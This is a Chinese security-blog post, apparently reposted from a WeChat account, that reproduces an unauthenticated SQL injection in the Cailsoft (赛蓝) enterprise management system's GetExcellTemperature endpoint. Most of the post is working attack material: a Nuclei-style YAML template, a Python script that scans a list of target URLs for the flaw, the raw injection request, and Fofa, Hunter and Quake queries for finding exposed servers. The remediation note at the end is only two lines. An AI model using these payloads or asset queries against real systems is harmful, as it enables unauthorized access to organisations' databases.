POC(Yaml&Python)
话不多说先上POC(Yam-poc由yakit或ProjectDiscovery Cloud Platform生成,Python-poc脚本由chatgpt生成,准确性请自测,如您觉得有用,请动动小手点个关注,为您每天更新最新漏洞POC)
-
「Yaml」
id: cailsoft-GetExcellTemperature-sqli
info:
name: 赛蓝企业管理系统 GetExcellTemperature SQL注入
author: god
severity: high
description: 赛蓝企业管理系统 GetExcellTemperature SQL注入
metadata:
fofa-query: body="www.cailsoft.com"||body="赛蓝企业管理系统"
tags: sqli,cailsoft
http:
- raw:
- |+
@timeout: 30s
GET /BaseModule/ExcelImport/GetExcellTemperature?ImportId=%27%20AND%206935%20IN%20(SELECT%20(CHAR(113)%2BCHAR(122)%2BCHAR(112)%2BCHAR(106)%2BCHAR(113)%2B(SELECT%20(CASE%20WHEN%20(6935%3D6935)%20THEN%20CHAR(49)%20ELSE%20CHAR(48)%20END))%2BCHAR(113)%2BCHAR(122)%2BCHAR(113)%2BCHAR(118)%2BCHAR(113)))%20AND%20%27qaq%27=%27qaq HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
max-redirects: 3
matchers-condition: and
matchers:
- type: word
part: body
words:
- qzpjq1qzqvq
condition: and
-
「Python」
#!/usr/bin/env python # -*- coding: utf-8 -*- import requests import argparse import time from urllib3.exceptions import InsecureRequestWarning
RED = '�33[91m'
RESET = '�33[0m'
# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def check_vulnerability(url):
try:
# 构造完整的攻击URL
attack_url = url.rstrip('/') + "/BaseModule/ExcelImport/GetExcellTemperature?ImportId=%27%20AND%206935%20IN%20(SELECT%20(CHAR(113)%2BCHAR(122)%2BCHAR(112)%2BCHAR(106)%2BCHAR(113)%2B(SELECT%20(CASE%20WHEN%20(6935%3D6935)%20THEN%20CHAR(49)%20ELSE%20CHAR(48)%20END))%2BCHAR(113)%2BCHAR(122)%2BCHAR(113)%2BCHAR(118)%2BCHAR(113)))%20AND%20%27qaq%27=%27qaq"
response = requests.get(attack_url, verify=False, timeout=10)
if response.status_code == 200 and 'qzpjq1qzqvq' in response.text:
print(f"{RED}URL [{url}] 可能存在赛蓝企业管理系统 GetExcellTemperature SQL注入漏洞{RESET}")
else:
print(f"URL [{url}] 不存在漏洞")
except requests.RequestException as e:
print(f"URL [{url}] 请求失败: {e}")
def main():
parser = argparse.ArgumentParser(description='检测目标地址是否存在赛蓝企业管理系统 GetExcellTemperature SQL注入漏洞')
parser.add_argument('-u', '--url', help='指定目标地址')
parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')
args = parser.parse_args()
if args.url:
if not args.url.startswith("http://") and not args.url.startswith("https://"):
args.url = "http://" + args.url
check_vulnerability(args.url)
elif args.file:
with open(args.file, 'r') as file:
urls = file.read().splitlines()
for url in urls:
if not url.startswith("http://") and not url.startswith("https://"):
url = "http://" + url
check_vulnerability(url)
if __name__ == '__main__':
main()
漏洞介绍
❝
Cailsoft企业管理系统是一套集成了多种功能的软件系统,旨在帮助企业提高管理效率和运营效益。cailsoft企业管理系统GetExcellTemperature接口存在SQL注入漏洞,未授权的攻击者可获取数据库敏感信息。
❞
资产测绘
-
「Fofa」
❝
body="www.cailsoft.com"||body="赛蓝企业管理系统"
❞
-
「Hunter」
❝
web.body="www.cailsoft.com" || web.body="赛蓝企业管理系统"
❞
-
「Quake」
❝
body="www.cailsoft.com" || body="赛蓝企业管理系统"
❞
漏洞复现
「1、构造数据包」
GET /BaseModule/ExcelImport/GetExcellTemperature?ImportId=%27%20AND%206935%20IN%20(SELECT%20(CHAR(113)%2BCHAR(122)%2BCHAR(112)%2BCHAR(106)%2BCHAR(113)%2B(SELECT%20(CASE%20WHEN%20(6935%3D6935)%20THEN%20CHAR(49)%20ELSE%20CHAR(48)%20END))%2BCHAR(113)%2BCHAR(122)%2BCHAR(113)%2BCHAR(118)%2BCHAR(113)))%20AND%20%27qaq%27=%27qaq HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 Accept-Encoding: gzip Connection: close
「2、查看返回包」
修复方案
❝
官方已发布安全补丁,建议联系厂商打补丁或升级版本。 引入Web应用防火墙防护,配置接口拦截策略。 ❞
原文始发于微信公众号(浅梦安全):【漏洞复现|含POC】赛蓝企业管理系统 GetExcellTemperature SQL注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论